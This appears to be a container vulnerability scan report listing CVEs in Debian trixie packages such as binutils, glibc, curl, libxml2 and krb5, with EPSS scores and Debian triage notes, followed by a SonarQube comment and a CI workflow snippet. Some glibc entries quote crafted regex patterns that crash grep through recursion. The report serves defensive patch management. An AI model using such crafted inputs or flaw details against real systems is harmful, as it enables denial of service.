A vulnerability has been found in GNU Binutils 2.45. The affected element is the function elf_swap_shdr in the library bfd/elfcode.h of the component Linker. The manipulation leads to heap-based buffer overflow. The attack must be carried out locally. The exploit has been disclosed to the public and may be used. The identifier of the patch is 9ca499644a21ceb3f946d1c179c38a83be084490. To fix this issue, it is recommended to deploy a patch. The code maintainer replied with "[f]ixed for 2.46".

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33457
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=9ca499644a21ceb3f946d1c179c38a83be084490 (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.030%`
EPSS Percentile	`8th percentile`

Description

A flaw has been found in GNU Binutils 2.45. Impacted is the function _bfd_elf_parse_eh_frame of the file bfd/elf-eh-frame.c of the component Linker. Executing manipulation can lead to heap-based buffer overflow. The attack is restricted to local execution. The exploit has been published and may be used. This patch is called ea1a0737c7692737a644af0486b71e4a392cbca8. A patch should be applied to remediate this issue. The code maintainer replied with "[f]ixed for 2.46".

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33464
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=ea1a0737c7692737a644af0486b71e4a392cbca8 (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.035%`
EPSS Percentile	`10th percentile`

Description

A vulnerability was detected in GNU Binutils 2.45. This issue affects the function dump_dwarf_section of the file binutils/objdump.c. Performing manipulation results in out-of-bounds read. The attack is only possible with local access. The exploit is now public and may be used. The patch is named f87a66db645caf8cc0e6fc87b0c28c78a38af59b. It is suggested to install a patch to address this issue.

binutils 2.46-1 (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=33406
https://sourceware.org/git/gitweb.cgi?p=binutils-gdb.git;h=f87a66db645caf8cc0e6fc87b0c28c78a38af59b (binutils-2_46)
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.115%`
EPSS Percentile	`31st percentile`

Description

An issue was discovered in GNU libiberty, as distributed in GNU Binutils 2.36. It is a stack-overflow issue in demangle_type in rust-demangle.c.

binutils (unimportant)
https://bugs.launchpad.net/ubuntu/+source/binutils/+bug/1927070
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.385%`
EPSS Percentile	`59th percentile`

Description

An issue was discovered in cplus-dem.c in GNU libiberty, as distributed in GNU Binutils 2.30. Stack Exhaustion occurs in the C++ demangling functions provided by libiberty, and there are recursive stack frames: demangle_template_value_parm, demangle_integral_value, and demangle_expression.

binutils (unimportant)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=85304
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.801%`
EPSS Percentile	`74th percentile`

Description

A heap-based buffer over-read exists in the function d_expression_1 in cp-demangle.c in GNU libiberty, as distributed in GNU Binutils 2.31.1. A crafted input can cause segmentation faults, leading to denial-of-service, as demonstrated by c++filt.

binutils (unimportant)
https://gcc.gnu.org/bugzilla/show_bug.cgi?id=88629
https://sourceware.org/bugzilla/show_bug.cgi?id=24043
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.119%`
EPSS Percentile	`31st percentile`

Description

The demangle_template function in cplus-dem.c in GNU libiberty, as distributed in GNU Binutils 2.31.1, contains an integer overflow vulnerability (for "Create an array for saving the template argument values") that can trigger a heap-based buffer overflow, as demonstrated by nm.

binutils (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=24039
binutils not covered by security support

Affected range	`<=2.44-3`
Fixed version	Not Fixed
EPSS Score	`0.237%`
EPSS Percentile	`47th percentile`

Description

The C++ symbol demangler routine in cplus-dem.c in libiberty, as distributed in GNU Binutils 2.29, allows remote attackers to cause a denial of service (excessive memory allocation and application crash) via a crafted file, as demonstrated by a call from the Binary File Descriptor (BFD) library (aka libbfd).

binutils (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=22009
Underlying bug is though in the C++ demangler part of libiberty, but MITRE
has assigned it specifically to the issue as raised within binutils.
binutils not covered by security support

glibc 2.41-12 (deb)

pkg:deb/debian/glibc@2.41-12?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.841%`
EPSS Percentile	`74th percentile`

Description

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(|)(\1\1)*' in grep, a different issue than CVE-2018-20796. NOTE: the software maintainer disputes that this is a vulnerability because the behavior occurs only with a crafted pattern

glibc (unimportant)

eglibc (unimportant)
https://sourceware.org/bugzilla/show_bug.cgi?id=24269

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`1.239%`
EPSS Percentile	`79th percentile`

Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may guess the heap addresses of pthread_created thread. The component is: glibc. NOTE: the vendor's position is "ASLR bypass itself is not a vulnerability.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22853

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.646%`
EPSS Percentile	`70th percentile`

Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass ASLR using cache of thread stack and heap. The component is: glibc. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22852

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.313%`
EPSS Percentile	`54th percentile`

Description

GNU Libc current is affected by: Re-mapping current loaded library with malicious ELF file. The impact is: In worst case attacker may evaluate privileges. The component is: libld. The attack vector is: Attacker sends 2 ELF files to victim and asks to run ldd on it. ldd execute code. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22851

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.131%`
EPSS Percentile	`33rd percentile`

Description

GNU Libc current is affected by: Mitigation bypass. The impact is: Attacker may bypass stack guard protection. The component is: nptl. The attack vector is: Exploit stack buffer overflow vulnerability and use this bypass vulnerability to bypass stack guard. NOTE: Upstream comments indicate "this is being treated as a non-security bug and no real threat.

glibc (unimportant)
Not treated as a security issue by upstream
https://sourceware.org/bugzilla/show_bug.cgi?id=22850

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`1.492%`
EPSS Percentile	`81st percentile`

Description

In the GNU C Library (aka glibc or libc6) through 2.29, check_dst_limits_calc_pos_1 in posix/regexec.c has Uncontrolled Recursion, as demonstrated by '(\227|)(\1\1|t1|\\2537)+' in grep.

glibc (unimportant)

eglibc (unimportant)
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=34141
https://lists.gnu.org/archive/html/bug-gnulib/2019-01/msg00108.html
No treated as vulnerability: https://sourceware.org/glibc/wiki/Security%20Exceptions

Affected range	`<=2.41-12+deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.394%`
EPSS Percentile	`60th percentile`

Description

The glob implementation in the GNU C Library (aka glibc or libc6) allows remote authenticated users to cause a denial of service (CPU and memory consumption) via crafted glob expressions that do not match any pathnames, as demonstrated by glob expressions in STAT commands to an FTP daemon, a different vulnerability than CVE-2010-2632.

glibc (unimportant)

eglibc (unimportant)
That's standard POSIX behaviour implemented by (e)glibc. Applications using
glob need to impose limits for themselves

openldap 2.6.10+dfsg-1 (deb)

pkg:deb/debian/openldap@2.6.10%2Bdfsg-1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.6.10+dfsg-1`
Fixed version	Not Fixed
EPSS Score	`0.020%`
EPSS Percentile	`4th percentile`

Description

OpenLDAP Lightning Memory-Mapped Database (LMDB) versions up to and including 0.9.14, prior to commit 8e1fda8, contain a heap buffer underflow in the readline() function of mdb_load. When processing malformed input containing an embedded NUL byte, an unsigned offset calculation can underflow and cause an out-of-bounds read of one byte before the allocated heap buffer. This can cause mdb_load to crash, leading to a limited denial-of-service condition.

openldap (unimportant)

lmdb (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1126287)
[trixie] - lmdb (Minor issue)
[bookworm] - lmdb (Minor issue)
[bullseye] - lmdb (Minor issue, OOB read)
https://seclists.org/fulldisclosure/2026/Jan/5
https://bugs.openldap.org/show_bug.cgi?id=10421
Fixed by: https://git.openldap.org/openldap/openldap/-/commit/8e1fda85532a3c74276df38a42d234dcdfa1e40d
OpenLDAP bundles lmdb but does not build mdb_load.c

Affected range	`<=2.6.10+dfsg-1`
Fixed version	Not Fixed
EPSS Score	`0.216%`
EPSS Percentile	`44th percentile`

Description

libldap in certain third-party OpenLDAP packages has a certificate-validation flaw when the third-party package is asserting RFC6125 support. It considers CN even when there is a non-matching subjectAltName (SAN). This is fixed in, for example, openldap-2.4.46-10.el8 in Red Hat Enterprise Linux.

openldap (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=965184)
https://bugs.openldap.org/show_bug.cgi?id=9266
https://bugzilla.redhat.com/show_bug.cgi?id=1740070
RedHat/CentOS applied patch: https://git.centos.org/rpms/openldap/raw/67459960064be9d226d57c5f82aaba0929876813/f/SOURCES/openldap-tlso-dont-check-cn-when-bad-san.patch
OpenLDAP upstream did dispute the issue as beeing valid, as the current libldap
behaviour does conform with RFC4513. RFC6125 does not superseed the rules for
verifying service identity provided in specifications for existing application
protocols published prior to RFC6125, like RFC4513 for LDAP.

Affected range	`<=2.6.10+dfsg-1`
Fixed version	Not Fixed
EPSS Score	`1.643%`
EPSS Percentile	`82nd percentile`

Description

contrib/slapd-modules/nops/nops.c in OpenLDAP through 2.4.45, when both the nops module and the memberof overlay are enabled, attempts to free a buffer that was allocated on the stack, which allows remote attackers to cause a denial of service (slapd crash) via a member MODDN operation.

openldap (unimportant)
http://www.openldap.org/its/index.cgi/Incoming?id=8759
nops slapd-module not built

Affected range	`<=2.6.10+dfsg-1`
Fixed version	Not Fixed
EPSS Score	`0.123%`
EPSS Percentile	`32nd percentile`

Description

slapd in OpenLDAP 2.4.45 and earlier creates a PID file after dropping privileges to a non-root account, which might allow local users to kill arbitrary processes by leveraging access to this non-root account for PID file modification before a root script executes a "kill cat /pathname" command, as demonstrated by openldap-initscript.

openldap (unimportant)
http://www.openldap.org/its/index.cgi?findid=8703
Negligible security impact, but filed #877512

Affected range	`<=2.6.10+dfsg-1`
Fixed version	Not Fixed
EPSS Score	`2.938%`
EPSS Percentile	`86th percentile`

Description

The nss_parse_ciphers function in libraries/libldap/tls_m.c in OpenLDAP does not properly parse OpenSSL-style multi-keyword mode cipher strings, which might cause a weaker than intended cipher to be used and allow remote attackers to have unspecified impact via unknown vectors.

openldap (unimportant)
Debian builds with GNUTLS, not NSS

systemd 257.9-1~deb13u1 (deb)

pkg:deb/debian/systemd@257.9-1~deb13u1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=257.9-1~deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.094%`
EPSS Percentile	`27th percentile`

Description

An issue was discovered in systemd 253. An attacker can modify the contents of past events in a sealed log file and then adjust the file such that checking the integrity shows no error, despite modifications. NOTE: the vendor reportedly sent "a reply denying that any of the finding was a security vulnerability."

systemd (unimportant)
Disputed by upstream
https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf

Affected range	`<=257.9-1~deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.100%`
EPSS Percentile	`28th percentile`

Description

An issue was discovered in systemd 253. An attacker can truncate a sealed log file and then resume log sealing such that checking the integrity shows no error, despite modifications. NOTE: the vendor reportedly sent "a reply denying that any of the finding was a security vulnerability."

systemd (unimportant)
Disputed by upstream
https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf

Affected range	`<=257.9-1~deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.128%`
EPSS Percentile	`32nd percentile`

Description

An issue was discovered in systemd 253. An attacker can modify a sealed log file such that, in some views, not all existing and sealed log messages are displayed. NOTE: the vendor reportedly sent "a reply denying that any of the finding was a security vulnerability."

systemd (unimportant)
Disputed by upstream
https://github.com/kastel-security/Journald/blob/main/journald-publication.pdf

Affected range	`<=257.9-1~deb13u1`
Fixed version	Not Fixed
EPSS Score	`0.042%`
EPSS Percentile	`13th percentile`

Description

systemd, when updating file permissions, allows local users to change the permissions and SELinux security contexts for arbitrary files via a symlink attack on unspecified files.

systemd (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725357)
[wheezy] - systemd (/etc/tmpfiles.d not supported in Wheezy)
https://bugzilla.redhat.com/show_bug.cgi?id=859060
only relevant to systems running systemd along with selinux

patch 2.8-2 (deb)

pkg:deb/debian/patch@2.8-2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.8-2`
Fixed version	Not Fixed
EPSS Score	`0.265%`
EPSS Percentile	`50th percentile`

Description

An Invalid Pointer vulnerability exists in GNU patch 2.7 via the another_hunk function, which causes a Denial of Service.

patch (unimportant)
https://savannah.gnu.org/bugs/?61685
Negligible security impact

Affected range	`<=2.8-2`
Fixed version	Not Fixed
EPSS Score	`11.805%`
EPSS Percentile	`94th percentile`

Description

A double free exists in the another_hunk function in pch.c in GNU patch through 2.7.6.

patch (unimportant)
https://savannah.gnu.org/bugs/index.php?53133
https://git.savannah.gnu.org/cgit/patch.git/commit/?id=9c986353e420ead6e706262bf204d6e03322c300
When fixing this issue make sure to not apply only the incomplete fix,
and opening CVE-2019-20633, cf. https://savannah.gnu.org/bugs/index.php?56683
Crash in CLI tool, no security impact

Affected range	`<=2.8-2`
Fixed version	Not Fixed
EPSS Score	`13.556%`
EPSS Percentile	`94th percentile`

Description

An issue was discovered in GNU patch through 2.7.6. There is a segmentation fault, associated with a NULL pointer dereference, leading to a denial of service in the intuit_diff_type function in pch.c, aka a "mangled rename" issue.

patch (unimportant)
https://git.savannah.gnu.org/cgit/patch.git/commit/?id=f290f48a621867084884bfff87f8093c15195e6a
https://savannah.gnu.org/bugs/index.php?53132
Crash in CLI tool, no security impact

Affected range	`<=2.8-2`
Fixed version	Not Fixed
EPSS Score	`1.830%`
EPSS Percentile	`83rd percentile`

Description

Directory traversal vulnerability in util.c in GNU patch 2.6.1 and earlier allows user-assisted remote attackers to create or overwrite arbitrary files via a filename that is specified with a .. (dot dot) or full pathname, a related issue to CVE-2010-1679.

patch (unimportant)
Applying a patch blindly opens more severe security issues than only directory traversal...
openwall ships a fix
See https://bugzilla.redhat.com/show_bug.cgi?id=667529 for details

curl 8.14.1-2+deb13u2 (deb)

pkg:deb/debian/curl@8.14.1-2%2Bdeb13u2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=8.14.1-2+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.049%`
EPSS Percentile	`15th percentile`

Description

When doing SSH-based transfers using either SCP or SFTP, and asked to do public key authentication, curl would wrongly still ask and authenticate using a locally running SSH agent.

curl 8.18.0-1 (unimportant)
https://curl.se/docs/CVE-2025-15224.html
Introduced with: curl/curl@c92d2e1 (curl-7_58_0)
Fixed by: curl/curl@16d5f2a (curl-8_18_0)
Debian builds with libssh2 for SSH backend

Affected range	`<=8.14.1-2+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.021%`
EPSS Percentile	`5th percentile`

Description

When doing SSH-based transfers using either SCP or SFTP, and setting the known_hosts file, libcurl could still mistakenly accept connecting to hosts not present in the specified file if they were added as recognized in the libssh global known_hosts file.

curl 8.18.0~rc3-1 (unimportant)
https://curl.se/docs/CVE-2025-15079.html
Introduced with: curl/curl@c92d2e1 (curl-7_58_0)
Fixed by: curl/curl@adca486 (rc-8_18_0-3, curl-8_18_0)
Debian builds with libssh2 for SSH backend

Affected range	`<=8.14.1-2+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.007%`
EPSS Percentile	`0th percentile`

Description

When doing multi-threaded LDAPS transfers (LDAP over TLS) with libcurl, changing TLS options in one thread would inadvertently change them globally and therefore possibly also affect other concurrently setup transfers. Disabling certificate verification for a specific transfer could unintentionally disable the feature for other threads as well.

curl 8.18.0~rc2-1 (unimportant)
https://curl.se/docs/CVE-2025-14017.html
Introduced with: curl/curl@ccba0d1 (curl-7_17_0)
Fixed by: curl/curl@39d1976 (rc-8_18_0-1, curl-8_18_0)
Built with OpenLDAP (only affects the legacy LDAP support)

Affected range	`<=8.14.1-2+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.015%`
EPSS Percentile	`2nd percentile`

Description

curl's code for managing SSH connections when SFTP was done using the wolfSSH powered backend was flawed and missed host verification mechanisms. This prevents curl from detecting MITM attackers and more.

curl 8.17.0~rc2-1 (unimportant)
https://curl.se/docs/CVE-2025-10966.html
Introduced with: curl/curl@6773c7c (curl-7_69_0)
Fixed by: curl/curl@b011e3f (rc-8_17_0-1)
wolfSSH backend not used in Debian

libxml2 2.12.7+dfsg+really2.9.14-2.1+deb13u2 (deb)

pkg:deb/debian/libxml2@2.12.7%2Bdfsg%2Breally2.9.14-2.1%2Bdeb13u2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.12.7+dfsg+really2.9.14-2.1+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.016%`
EPSS Percentile	`3rd percentile`

Description

A flaw was identified in the interactive shell of the xmllint utility, part of the libxml2 project, where memory allocated for user input is not properly released under certain conditions. When a user submits input consisting only of whitespace, the program skips command execution but fails to free the allocated buffer. Repeating this action causes memory to continuously accumulate. Over time, this can exhaust system memory and terminate the xmllint process, creating a denial-of-service condition on the local system.

libxml2 (unimportant)
https://gitlab.gnome.org/GNOME/libxml2/-/issues/1009
Fixed by: https://gitlab.gnome.org/GNOME/libxml2/-/commit/160c8a43ba37dfb07ebe6446fbad9d0973d9279d
Negligible security impact, memory leak in xmllint CLI utility

Affected range	`<=2.12.7+dfsg+really2.9.14-2.1+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.013%`
EPSS Percentile	`2nd percentile`

Description

A vulnerability was found in libxml2 up to 2.14.5. It has been declared as problematic. This vulnerability affects the function xmlParseSGMLCatalog of the component xmlcatalog. The manipulation leads to uncontrolled recursion. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The real existence of this vulnerability is still doubted at the moment. The code maintainer explains, that "[t]he issue can only be triggered with untrusted SGML catalogs and it makes absolutely no sense to use untrusted catalogs. I also doubt that anyone is still using SGML catalogs at all."

libxml2 (unimportant)
https://gitlab.gnome.org/GNOME/libxml2/-/issues/958
https://gitlab.gnome.org/GNOME/libxml2/-/issues/958#note_2505853
Issue can only be triggered with untrusted SGML, negligible security impact

Affected range	`>=2.12.7+dfsg+really2.9.14-2.1+deb13u2`
Fixed version	Not Fixed
EPSS Score	`0.068%`
EPSS Percentile	`17th percentile`

Description

A flaw was found in the xmlSetTreeDoc() function of the libxml2 XML parsing library. This function is responsible for updating document pointers when XML nodes are moved between documents. Due to improper handling of namespace references, a namespace pointer may remain linked to a freed memory region when the original document is destroyed. As a result, subsequent operations that access the namespace can lead to a use-after-free condition, causing an application crash.

REJECTED

krb5 1.21.3-5 (deb)

pkg:deb/debian/krb5@1.21.3-5?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=1.21.3-5`
Fixed version	Not Fixed
EPSS Score	`0.062%`
EPSS Percentile	`19th percentile`

Description

Kerberos 5 (aka krb5) 1.21.2 contains a memory leak vulnerability in /krb5/src/lib/gssapi/krb5/k5sealv3.c.

krb5 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098754; unimportant)
https://github.com/LuMingYinDetect/krb5_defects/blob/main/krb5_detect_2.md
Fixed by: krb5/krb5@c5f9c81
Codepath cannot be triggered via API calls, negligible security impact
https://mailman.mit.edu/pipermail/kerberos/2024-March/023095.html

Affected range	`<=1.21.3-5`
Fixed version	Not Fixed
EPSS Score	`0.206%`
EPSS Percentile	`43rd percentile`

Description

Kerberos 5 (aka krb5) 1.21.2 contains a memory leak in /krb5/src/lib/rpc/pmap_rmt.c.

krb5 (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1098754; unimportant)
https://github.com/LuMingYinDetect/krb5_defects/blob/main/krb5_detect_1.md
Fixed by: krb5/krb5@c5f9c81
Unused codepath, negligible security impact
https://mailman.mit.edu/pipermail/kerberos/2024-March/023095.html

Affected range	`<=1.21.3-5`
Fixed version	Not Fixed
EPSS Score	`1.485%`
EPSS Percentile	`81st percentile`

Description

An issue was discovered in MIT Kerberos 5 (aka krb5) through 1.16. There is a variable "dbentry->n_key_data" in kadmin/dbutil/dump.c that can store 16-bit data but unknowingly the developer has assigned a "u4" variable to it, which is for 32-bit data. An attacker can use this vulnerability to affect other artifacts of the database as we know that a Kerberos database dump file contains trusted data.

krb5 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=889684)
https://github.com/poojamnit/Kerberos-V5-1.16-Vulnerabilities/tree/master/Integer%20Overflow
non-issue, codepath is only run on trusted input, potential integer
overflow is non-issue

m4 1.4.19-8 (deb)

pkg:deb/debian/m4@1.4.19-8?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=1.4.19-8`
Fixed version	Not Fixed
EPSS Score	`2.196%`
EPSS Percentile	`84th percentile`

Description

Unspecified vulnerability in GNU m4 before 1.4.11 might allow context-dependent attackers to execute arbitrary code, related to improper handling of filenames specified with the -F option. NOTE: it is not clear when this issue crosses privilege boundaries.

m4 (unimportant)
The file name is passed through a cmdline argument and m4 doesn't run with
elevated privileges.

Affected range	`<=1.4.19-8`
Fixed version	Not Fixed
EPSS Score	`2.727%`
EPSS Percentile	`86th percentile`

Description

The (1) maketemp and (2) mkstemp builtin functions in GNU m4 before 1.4.11 do not quote their output when a file is created, which might allow context-dependent attackers to trigger a macro expansion, leading to unspecified use of an incorrect filename.

m4 (unimportant)
This is more a generic bug and not a security issue: the random output would
need to match the name of an existing macro

coreutils 9.7-3 (deb)

pkg:deb/debian/coreutils@9.7-3?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=9.7-3`
Fixed version	Not Fixed
EPSS Score	`0.020%`
EPSS Percentile	`4th percentile`

Description

A flaw was found in GNU Coreutils. The sort utility's begfield() function is vulnerable to a heap buffer under-read. The program may access memory outside the allocated buffer if a user runs a crafted command using the traditional key format. A malicious input could lead to a crash or leak sensitive data.

coreutils (bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1106733; unimportant)
https://bugzilla.redhat.com/show_bug.cgi?id=2368764
https://lists.gnu.org/archive/html/bug-coreutils/2025-05/msg00036.html
https://lists.gnu.org/archive/html/bug-coreutils/2025-05/msg00040.html
https://cgit.git.savannah.gnu.org/cgit/coreutils.git/commit/?id=8c9602e3a145e9596dc1a63c6ed67865814b6633
https://www.openwall.com/lists/oss-security/2025/05/27/2
https://debbugs.gnu.org/cgi/bugreport.cgi?bug=78507
Crash in CLI tool, no security impact

Affected range	`<=9.7-3`
Fixed version	Not Fixed
EPSS Score	`0.056%`
EPSS Percentile	`17th percentile`

Description

In GNU Coreutils through 8.29, chown-core.c in chown and chgrp does not prevent replacement of a plain file with a symlink during use of the POSIX "-R -L" options, which allows local users to modify the ownership of arbitrary files by leveraging a race condition.

coreutils (unimportant)
http://lists.gnu.org/archive/html/coreutils/2017-12/msg00045.html
https://www.openwall.com/lists/oss-security/2018/01/04/3
Documentation patches proposed:
https://lists.gnu.org/archive/html/coreutils/2017-12/msg00072.html
https://lists.gnu.org/archive/html/coreutils/2017-12/msg00073.html
Neutralised by kernel hardening

perl 5.40.1-6 (deb)

pkg:deb/debian/perl@5.40.1-6?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=5.40.1-6`
Fixed version	Not Fixed
EPSS Score	`0.195%`
EPSS Percentile	`41st percentile`

Description

_is_safe in the File::Temp module for Perl does not properly handle symlinks.

perl (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=776268)
http://thread.gmane.org/gmane.comp.security.oss.general/6174/focus=6177
File:Temp::_is_safe() allows unsafe traversal of symlinks [rt.cpan.org #69106] Perl-Toolchain-Gang/File-Temp#14

re2c 4.1-1 (deb)

pkg:deb/debian/re2c@4.1-1?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=4.1-1`
Fixed version	Not Fixed
EPSS Score	`0.101%`
EPSS Percentile	`28th percentile`

Description

re2c before 2.0 has uncontrolled recursion that causes stack consumption in find_fixed_tags.

re2c (unimportant)
overflow-1.re test fails on system with small stack skvadrik/re2c#219
Fixed by: skvadrik/re2c@5fffb18
https://www.openwall.com/lists/oss-security/2020/04/27/2
Crash im CLI tool, no security impact

util-linux 2.41-5 (deb)

pkg:deb/debian/util-linux@2.41-5?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.41-5`
Fixed version	Not Fixed
EPSS Score	`0.020%`
EPSS Percentile	`4th percentile`

Description

A flaw was found in the util-linux chfn and chsh utilities when compiled with Readline support. The Readline library uses an "INPUTRC" environment variable to get a path to the library config file. When the library cannot parse the specified file, it prints an error message containing data from the file. This flaw allows an unprivileged user to read root-owned files, potentially leading to privilege escalation. This flaw affects util-linux versions prior to 2.37.4.

util-linux (unimportant)
https://bugzilla.redhat.com/show_bug.cgi?id=2053151
https://lore.kernel.org/util-linux/20220214110609.msiwlm457ngoic6w@ws.net.home/T/#u
util-linux/util-linux@faa5a3a
util-linux in Debian does build with readline support but chfn and chsh are provided
by src:shadow and util-linux is configured with --disable-chfn-chsh

openssl 3.5.4-1~deb13u2 (deb)

pkg:deb/debian/openssl@3.5.4-1~deb13u2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`>=3.2.1-3`
Fixed version	Not Fixed
EPSS Score	`0.094%`
EPSS Percentile	`27th percentile`

Description

OpenSSL 0.9.8i on the Gaisler Research LEON3 SoC on the Xilinx Virtex-II Pro FPGA uses a Fixed Width Exponentiation (FWE) algorithm for certain signature calculations, and does not verify the signature before providing it to a caller, which makes it easier for physically proximate attackers to determine the private key via a modified supply voltage for the microprocessor, related to a "fault-based attack."

http://www.eecs.umich.edu/~valeria/research/publications/DATE10RSA.pdf
openssl/openssl#24540
Fault injection based attacks are not within OpenSSLs threat model according
to the security policy: https://www.openssl.org/policies/general/security-policy.html

apt 3.0.3 (deb)

pkg:deb/debian/apt@3.0.3?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=3.0.3`
Fixed version	Not Fixed
EPSS Score	`1.509%`
EPSS Percentile	`81st percentile`

Description

It was found that apt-key in apt, all versions, do not correctly validate gpg keys with the master keyring, leading to a potential man-in-the-middle attack.

apt (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=642480)
Not exploitable in Debian, since no keyring URI is defined

sqlite3 3.46.1-7 (deb)

pkg:deb/debian/sqlite3@3.46.1-7?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=3.46.1-7`
Fixed version	Not Fixed
EPSS Score	`0.378%`
EPSS Percentile	`59th percentile`

Description

A Memory Leak vulnerability exists in SQLite Project SQLite3 3.35.1 and 3.37.0 via maliciously crafted SQL Queries (made via editing the Database File), it is possible to query a record, and leak subsequent bytes of memory that extend beyond the record, which could let a malicious user obtain sensitive information. NOTE: The developer disputes this as a vulnerability stating that If you give SQLite a corrupted database file and submit a query against the database, it might read parts of the database that you did not intend or expect.

sqlite3 (unimportant; bug https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1005974)

sqlite (unimportant)
https://github.com/guyinatuxedo/sqlite3_record_leaking
https://bugzilla.redhat.com/show_bug.cgi?id=2054793
https://sqlite.org/forum/forumpost/056d557c2f8c452ed5bb9c215414c802b215ce437be82be047726e521342161e
Negligible security impact

jansson 2.14-2 (deb)

pkg:deb/debian/jansson@2.14-2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=2.14-2`
Fixed version	Not Fixed
EPSS Score	`0.257%`
EPSS Percentile	`49th percentile`

Description

An issue was discovered in Jansson through 2.13.1. Due to a parsing error in json_loads, there's an out-of-bounds read-access bug. NOTE: the vendor reports that this only occurs when a programmer fails to follow the API specification

jansson (unimportant)
OOB Read memory corruption bug akheron/jansson#548
Disputed security impact (only if programmer fails to follow API specifications)

shadow 1:4.17.4-2 (deb)

pkg:deb/debian/shadow@1%3A4.17.4-2?os_distro=trixie&os_name=debian&os_version=13

Affected range	`<=1:4.17.4-2`
Fixed version	Not Fixed
EPSS Score	`0.264%`
EPSS Percentile	`49th percentile`

Description

initscripts in rPath Linux 1 sets insecure permissions for the /var/log/btmp file, which allows local users to obtain sensitive information regarding authentication attempts. NOTE: because sshd detects the insecure permissions and does not log certain events, this also prevents sshd from logging failed authentication attempts by remote attackers.

shadow (unimportant)
See #290803, on Debian LOG_UNKFAIL_ENAB in login.defs is set to no so
unknown usernames are not recorded on login failures

github.com/go-chi/chi/v5 5.2.3 (golang)

pkg:golang/github.com/go-chi/chi@5.2.3#v5

Affected range	`>=5.2.2 <5.2.4`
Fixed version	`5.2.4`

Description

Open redirect vulnerability in the RedirectSlashes middleware in github.com/go-chi/chi

sonarqubecloud · 2026-02-10T04:13:47Z

Quality Gate passed

Issues
0 New issues
0 Accepted issues

Measures
0 Security Hotspots
0.0% Coverage on New Code
0.0% Duplication on New Code

See analysis details on SonarQube Cloud

sentry · 2026-02-10T04:17:14Z

+      - name: Analyze for critical and high CVEs
+        id: docker-scout-cves
+        if: ${{ github.event_name != 'pull_request_target' }}
